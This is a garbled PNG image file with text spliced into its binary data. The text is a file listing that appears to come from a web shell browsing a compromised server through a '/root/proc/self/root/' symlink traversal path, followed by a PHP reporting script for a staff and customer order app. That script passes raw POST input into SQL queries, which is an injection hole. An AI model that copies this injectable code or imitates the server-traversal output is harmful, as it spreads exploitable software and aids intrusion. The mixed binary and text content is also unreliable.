php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /var/www/html/sub/images/Rm19_symconf/root/proc/self/root/var/www/html/fl/android/ |
| files >> /var/www/html/sub/images/Rm19_symconf/root/proc/self/root/var/www/html/fl/android/report.php |
<?php
include "../konfig/koneksi.php";
include "global.php";
$id_staff = $_POST['id_staff'];
$result = array();
$customer = mysql_query("SELECT * FROM customer WHERE id_staff='$id_staff'");
$total_orderan_bulanan = 0;
$total_cicilan_harian = 0;
while($r = mysql_fetch_array($customer)){
$list_orderan = mysql_query("SELECT * FROM list_orderan WHERE id_customer='$r[id_customer]'");
while($d = mysql_fetch_array($list_orderan)){
$total_cicilan_harian = $total_cicilan_harian + $d['cicilan'];
$total_orderan_bulanan= $total_orderan_bulanan + $d['harga_produk'];
}
}
$result['total_cicilan_harian'] = $total_cicilan_harian;
$result['total_orderan_bulanan'] = $total_orderan_bulanan;
$result['success'] = "suks3s";
echo json_encode($result);
?>
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`